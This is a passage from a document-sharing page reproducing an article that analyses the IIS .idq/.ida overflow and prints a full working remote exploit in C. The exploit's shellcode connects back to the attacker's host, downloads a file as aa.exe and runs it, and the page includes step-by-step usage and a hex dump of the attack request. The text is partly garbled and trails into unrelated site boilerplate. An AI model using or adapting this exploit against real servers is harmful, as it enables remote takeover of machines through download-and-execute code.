版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、 原創(chuàng):isno(isno) 來源: 對(duì).idq/.ida溢出攻擊的分析 by isno() IIS的.idq/.ida映射的溢出漏洞已經(jīng)公布了好久了,但由于利用這個(gè)漏洞有 比較大的難度,所以可用的攻擊程序一直也沒弄出來。甚至連發(fā)現(xiàn)這個(gè)漏洞的 eEye也沒做出攻擊程序來,由于發(fā)送的內(nèi)容被轉(zhuǎn)換成了寬字符,所以覆蓋用的 溢出地址比較難以控制,按照eEye的辦法,是在shellcode前面放
2、上很多NOP這樣 就把shellcode推向了0x004x00xx的地址,就可以用xx4x這樣的串來覆蓋ret,這 個(gè)串被擴(kuò)展為xx004x00以后正好跳轉(zhuǎn)到shellcode的位置。這種方法雖然理論上 行的通,但是實(shí)際上問題非常多,可以控制跳轉(zhuǎn)卻無法執(zhí)行代碼,而且不同的機(jī) 器這個(gè)0x004x00xx都不一樣,這樣就很難做出通用性比較好的exploit。 昨天終于看到公布了可用的攻擊程序,一開始沒仔細(xì)看還以為是騙人的。后 來用softice跟了一下,又請(qǐng)教了一下袁哥才搞明白。這個(gè)exploit寫得很不錯(cuò), 用巧妙的方法避開來被擴(kuò)展成寬字符,可以隨
3、意控制跳轉(zhuǎn)地址,利用他的方法可 以很輕松的改寫出更完善的exploit。 這個(gè)程序的shellcode比較簡(jiǎn)單,只是連到指定主機(jī)的指定端口去接受數(shù) 據(jù),然后把它存為aa.exe,然后運(yùn)行aa.exe。但它和以前的對(duì)付.htr溢出的那個(gè) iishack不一樣,它不能主動(dòng)請(qǐng)求數(shù)據(jù),而只能等待那邊的主機(jī)發(fā)送數(shù)據(jù),所以 你不能用它來下載指定的程序,而必須由攻擊端的攻擊程序來開個(gè)進(jìn)程等待發(fā)送 數(shù)據(jù)到被攻擊的主機(jī)。 我把這個(gè)程序稍微改了一下,使它可以攻擊中文版IIS5。因?yàn)檫^幾天要考 試,我也沒有時(shí)間再寫個(gè)新程
4、序了,只有等考完后在弄。下面就是我改良過 的.idq exploit程序,作了一些比較詳細(xì)的注解: -idq.c- /* IIS5.0 .idq overrun remote exploit Programmed by hsj : 01.06.21 code flow: overrun -> jmp or call ebx -> jmp 8 -> check shellcode addr and jump to there -> shellcode -> make back channel -> download & exec code */ /*
5、Modified by isno 對(duì)中文版WIN2k + IIS 5.0 + SP0攻擊成功! 在RedHat6.2上編譯 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define RET 0x77e4ac97 /* jmp or call ebx */ /* 這是中文版WIN2K(沒有安裝SP)中jmp ebx的地址*/ #define GMH
6、ANDLEA 0x77e756db /* Address of GetModuleHandleA */ #define GPADDRESS 0x77e7564b /* Address of GetProcAddress */ /*中文版GetModuleHandleA和GetProcAddress的地址*/ /*這兩個(gè)API的地址固定了,這樣通用性不好,其實(shí)可以用shellcode來搜索*/ #define GMHANDLEA_OFFSET 24 /*GetModuleHandleA的地址在shellcode中的偏移位置*/ #define GPADDRESS_OFFSET 61 /*同上*/
7、 #define OFFSET 234 /* exception handler offset */ /* 作者選擇了覆蓋SEH,這樣可以避免覆蓋掉某些形參而引起的錯(cuò)誤, 但根據(jù)我的測(cè)試,覆蓋RET也是一樣的 */ #define NOP 0x41 #define MASKING 1 #if MASKING #define PORTMASK 0x4141 #define ADDRMASK 0x41414141 #define PORTMASK_OFFSET 128 #define ADDRMASK_OFFSET 133 #endif /*做了一些編碼,以免地址或端口中還有0字節(jié)而截?cái)鄐hell
8、code*/ #define PORT 555 /*shellcode要連接的端口,不要用80,因?yàn)?0一般都被占用了*/ #define ADDR "11" /* !注意:上面這個(gè)地方是必須要更改的地方! 這是你發(fā)起攻擊的主機(jī)地址,就是你運(yùn)行攻擊程序的那臺(tái)主機(jī)。 */ #define PORT_OFFSET 115 #define ADDR_OFFSET 120 /*都是一些偏移量*/ unsigned char shellcode= "x5Bx33xC0x40x40xC1xE0x09x2BxE0x33xC9x41x41x33xC0&q
9、uot; "x51x53x83xC3x06x88x03xB8xDDxCCxBBxAAxFFxD0x59x50" "x43xE2xEBx33xEDx8BxF3x5Fx33xC0x80x3Bx2Ex75x1Ex88" "x03x83xFDx04x75x04x8Bx7Cx24x10x56x57xB8xDDxCCxBB" "xAAxFFxD0x50x8Dx73x01x45x83xFDx08x74x03x43xEBxD8" "x8Dx74x24x20x33xC0x50x40x50x40x50x8Bx46xFCxFF
10、xD0" "x8BxF8x33xC0x40x40x66x89x06xC1xE0x03x50x56x57x66" "xC7x46x02xBBxAAxC7x46x04x44x33x22x11" #if MASKING "x66x81x76x02x41x41x81x76x04x41x41x41x41" #endif "x8Bx46xF8xFFxD0x33xC0" "xC7x06x5Cx61x61x2ExC7x46x04x65x78x65x41x88x46x07" "x66xB8x8
11、0x01x50x66xB8x01x81x50x56x8Bx46xECxFFxD0" "x8BxD8x33xC0x50x40xC1xE0x09x50x8Dx4Ex08x51x57x8B" "x46xF4xFFxD0x85xC0x7Ex0Ex50x8Dx4Ex08x51x53x8Bx46" "xE8xFFxD0x90xEBxDCx53x8Bx46xE4xFFxD0x57x8Bx46xF0" "xFFxD0x33xC0x50x56x56x8Bx46xE0xFFxD0x33xC0xFFxD0" /*shellco
12、de實(shí)現(xiàn)連接到攻擊端并下載程序的功能,這個(gè)程序必須在攻擊端主機(jī)上*/ unsigned char storage= "xEBx02" "xEBx4E" "xE8xF9xFFxFFxFF" "msvcrt.ws2_32.socket.connect.recv.closesocket." "_open._write._close._execl." /*這是前面的shellcode用來跳到后面并尋址字符串*/ unsigned char forwardjump= "%u08eb"
13、/*這是覆蓋異常結(jié)構(gòu)的jmp 08h,用來跳到后面尋址shellcode的那段代碼*/ /* 作者在前面加了一個(gè)%u符號(hào),這樣就可以免于被擴(kuò)展成寬字符,這方法 太妙了!至于IIS是這樣處理%u的,可以參見上袁哥反匯編 的代碼。后面的返回地址和跳轉(zhuǎn)shellcode的代碼也作了同樣的處理。 */ unsigned char jump_to_shell= "%uC033%uB866%u031F%u0340%u8BD8%u8B03" "%u6840%uDB33%u30B3%uC303%uE0FF" /* 跳轉(zhuǎn)到shellcode去,我不一句句的解釋了,如果有興
14、趣可以自己看, 注意每兩個(gè)字節(jié)都是反的,%uC033在轉(zhuǎn)換后變成了x33xC0。 */ unsigned int resolve(char *name) struct hostent *he; unsigned int ip; if(ip=inet_addr(name)=(-1) if(he=gethostbyname(name)=0)
15、60; return 0; memcpy(&ip,he->h_addr,4); return ip; /*域名->IP*/ int make_connection(char *address,int port) struct sockaddr_in server,target; int s,i,bf;
16、 fd_set wd; struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1; memset(char *)&server,0,sizeof(server); server.
17、sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = 0; target.sin_family = AF_INET; target.sin_addr.s_addr = resolve(address); if(target.sin_addr.s_
18、addr=0) close(s); return -2; target.sin_port = htons(port); bf = 1; ioctl(s,FIONBIO,&bf); tv.tv_sec =
19、10; tv.tv_usec = 0; FD_ZERO(&wd); FD_SET(s,&wd); connect(s,(struct sockaddr *)&target,sizeof(target); if(i=select(s+1,0,&wd,0,&tv)=(-1)
20、 close(s); return -3; if(i=0) close(s); return -4; i = sizeof(int); &
21、#160; getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i); if(bf!=0)|(i!=sizeof(int) close(s); errno = bf; return -5; ioctl(s,FI
22、ONBIO,&bf); return s; /*上面是連接主機(jī)的函數(shù)*/ /* 下面這個(gè)函數(shù)很重要,它監(jiān)聽在前面定義的那個(gè)的端口,我用了555, 一旦有主機(jī)連接過來,后面那個(gè)進(jìn)程就把本地的一個(gè)程序發(fā)送過去, 這個(gè)程序當(dāng)然也是在運(yùn)行時(shí)指定的。 */ int get_connection(int port) struct sockaddr_in local,remote; int lsock,csock,len,reuse_addr;
23、 lsock = socket(AF_INET,SOCK_STREAM,0); if(lsock<0) perror("socket"); exit(1); reuse_addr = 1; if(se
24、tsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr)<0) perror("setsockopt"); close(lsock); exit(1); memset(char
25、 *)&local,0,sizeof(local); local.sin_family = AF_INET; local.sin_port = htons(port); local.sin_addr.s_addr = htonl(INADDR_ANY); if(bind(lsock,(struct sockaddr *)&local,sizeof(local)<0)
26、160; perror("bind"); close(lsock); exit(1); if(listen(lsock,1)<0) perror("listen");
27、; close(lsock); exit(1); retry: len = sizeof(remote); csock = accept(lsock,(struct sockaddr *)&remote,&len); if(csock<0)
28、; if(errno!=EINTR) perror("accept"); close(lsock); exit(1); else goto retry; &
29、#160; close(lsock); return csock; int main(int argc,char *argv) int i,j,s,pid; unsigned int cb; unsigned short port; char *p,buf512,buf2512,buf32048; &
30、#160;FILE *fp; if(argc!=3) printf("usage: $ %s ip filen",argv0); return -1; if(fp=fopen(argv2,"rb")=0) return
31、-2; if(!(cb=resolve(ADDR) return -3; if(pid=fork()<0) return -4; /* 開兩個(gè)進(jìn)程一個(gè)用于構(gòu)造并發(fā)送shellcode, 另一個(gè)監(jiān)聽指定端口并等待發(fā)送數(shù)據(jù)。 */ if(pid) fclose
32、(fp); s = make_connection(argv1,80); if(s<0) printf("connect error:%d.n",s); kill(pid,SIGTERM); return -5;
33、0; j = strlen(shellcode); *(unsigned int *)&shellcodeGMHANDLEA_OFFSET = GMHANDLEA; *(unsigned int *)&shellcodeGPADDRESS_OFFSET = GPADDRESS; port = htons(PORT); #if MASKING port = PORTMA
34、SK; cb = ADDRMASK; *(unsigned short *)&shellcodePORTMASK_OFFSET = PORTMASK; *(unsigned int *)&shellcodeADDRMASK_OFFSET = ADDRMASK; #endif *(unsigned short *)&shellcodePORT_OFFSET = port;
35、; *(unsigned int *)&shellcodeADDR_OFFSET = cb; for(i=0;i<strlen(shellcode);i+) if(shellcodei=0x0a)| (shellcodei=0x0d)| (shellcodei=0x3a)
36、0; break; if(i!=j) printf("bad portno or ip address.n"); close(s); kill(pid,SIGTERM); return -6;
37、 memset(buf,1,sizeof(buf); p = &bufOFFSET-2; sprintf(p,"%s",forwardjump); p += strlen(forwardjump); *p+ = 1; *p+ = '%'
38、60; *p+ = 'u' sprintf(p,"%04x",(RET>>0)&0xffff); p += 4; *p+ = '%' *p+ = 'u' sprintf(p,"%04x",(RET>>16)&0
39、xffff); p += 4; *p+ = 1; sprintf(p,"%s",jump_to_shell); memset(buf2,NOP,sizeof(buf2); memcpy(&buf2sizeof(buf2)-strlen(shellcode)-strlen(storage)-1,storage,strlen(stor
40、age); memcpy(&buf2sizeof(buf2)-strlen(shellcode)-1,shellcode,strlen(shellcode); buf2sizeof(buf2)-1 = 0; sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0rnShell: %srnrn",buf,buf2); /* 上面就是構(gòu)造溢出串,溢出串在被擴(kuò)展
41、并拷貝入IIS的堆棧后形式如下: .| 異常鏈 |處理指針|. 010001000100.|eb080100|97ace477|010033c0. |jmp 08h | jmp ebx| jmp shellcode */ write(s,buf3,strlen(buf3); printf("-"); for(i=0;i<strle
42、n(buf3);i+) if(i%16)=0) printf("n"); printf("%02X ",buf3i&0xff); printf("n-n"); wait(0); &
43、#160; sleep(1); shutdown(s,2); close(s); printf("Done.n"); /*下面這個(gè)進(jìn)程用于建立連接,并打開指定文件并發(fā)送出去*/ else
44、60; s = get_connection(PORT); j = 0; while(i=fread(buf,1,sizeof(buf),fp) write(s,buf,i); j += i; printf("."); fflush
45、(stdout); fclose(fp); printf("n%d bytes send.n",j); shutdown(s,2); close(s); return 0; -idq.c-cut here- 整個(gè)程序攻擊的流程是這樣的: &
46、#160; 攻擊端 被攻擊端 1. 發(fā)送shellcode -> 2. 溢出并運(yùn)行shellcode 3.監(jiān)聽555端口等待連接 4. 連接到攻擊端555端口
47、60; <- 5. 發(fā)送文件數(shù)據(jù) -> 6 接受文件為aa.exe并執(zhí)行 下面是演示一下具體的用法的實(shí)例: 先到一臺(tái)linux主機(jī)上編譯idq.c。gcc -o idq idq.c !注意一定先改一下程序中的#define ADDR "111.111.111.
48、111"為你這臺(tái) linux主機(jī)的IP地址! 然后上傳一個(gè)ncx99.exe到這臺(tái)主機(jī)放在同一個(gè)目錄下: bash# ls -al total 90 drwxrwxrwt 7 root root 1024 Aug 30 05:25 . drwxr-xr-x 17 root root 1024 Aug 28 15:47 . drwxrwxrwt 2 xfs x
49、fs 1024 May 14 03:03 .font-unix -rwxr-xr-x 1 root root 18526 Aug 30 05:25 idq -rw-r-r- 1 root root 8149 Aug 30 05:25 idq.c -rw-rw-rw- 1 root root
50、; 59392 Aug 17 1999 ncx99.exe 假設(shè)要攻擊22,就這樣: bash# ./idq 22 ncx99.exe - 47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
51、 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
52、 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37 25 75 37 37 65 34 01 25 75 43 30 33
53、 33 25 75 42 38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25 75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34 30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43 33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50 2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
54、 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
55、 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9 FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32 2E 73 6F 63 6B 65 74 2E
56、 63 6F 6E 6E 65 63 74 2E 72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74 2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63 6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40 40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3 06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33 ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04 75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50 8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20 33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0 40 40 66 89 0
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 《智能電網(wǎng)綜合創(chuàng)新》教學(xué)大綱
- 人教版小學(xué)五年級(jí)數(shù)學(xué)下冊(cè)導(dǎo)學(xué)案
- 河南省平頂山市汝州市2024-2025學(xué)年八年級(jí)9月月考語文試題
- 山東省煙臺(tái)三校2024-2025學(xué)年高一上學(xué)期10月聯(lián)考 化學(xué)試題
- 2024-2025學(xué)年譯林牛津版初中英語九年級(jí)(上)教案 Unit 7 Grammar
- 2023-2024學(xué)年廣西來賓市高三下學(xué)期第二次摸底考試數(shù)學(xué)試題
- 國際會(huì)議中心裝修協(xié)議
- 景觀湖泊泥土搬運(yùn)協(xié)議
- 汽車進(jìn)口物流協(xié)議
- 航空餐食包機(jī)運(yùn)輸合同模板
- 2024年縣域高血壓合理用藥與綜合管理指南修訂要點(diǎn)解讀課件
- DB32-T 4844-2024 自然科學(xué)類科普教育基地建設(shè)規(guī)范
- 2024年海南省??谑泻Q蠛蜐O業(yè)監(jiān)察支隊(duì)招聘26人歷年高頻500題難、易錯(cuò)點(diǎn)模擬試題附帶答案詳解
- 月考測(cè)試卷(第1~3單元)(試題)-2024-2025學(xué)年六年級(jí)上冊(cè)數(shù)學(xué)人教版
- 智慧林業(yè)綜合管理平臺(tái)解決方案
- 第05講:賞析人物形象(練習(xí))-2024年中考語文記敘文閱讀講與練(全國)原卷版
- 2024年4月至2008年10月自考03708中國近現(xiàn)代史綱要?dú)v年試題及答案含解析30套
- 《行政執(zhí)法機(jī)關(guān)移送涉嫌犯罪案件的規(guī)定》詳細(xì)解讀
- 2025屆高考語文一輪復(fù)習(xí)備考指導(dǎo)++課件
- 語文園地三 教學(xué)設(shè)計(jì)-2024-2025學(xué)年語文一年級(jí)上冊(cè)統(tǒng)編版
- 2023-2024學(xué)年北京市西城區(qū)回民學(xué)校七年級(jí)(上)期中數(shù)學(xué)試卷【含解析】
評(píng)論
0/150
提交評(píng)論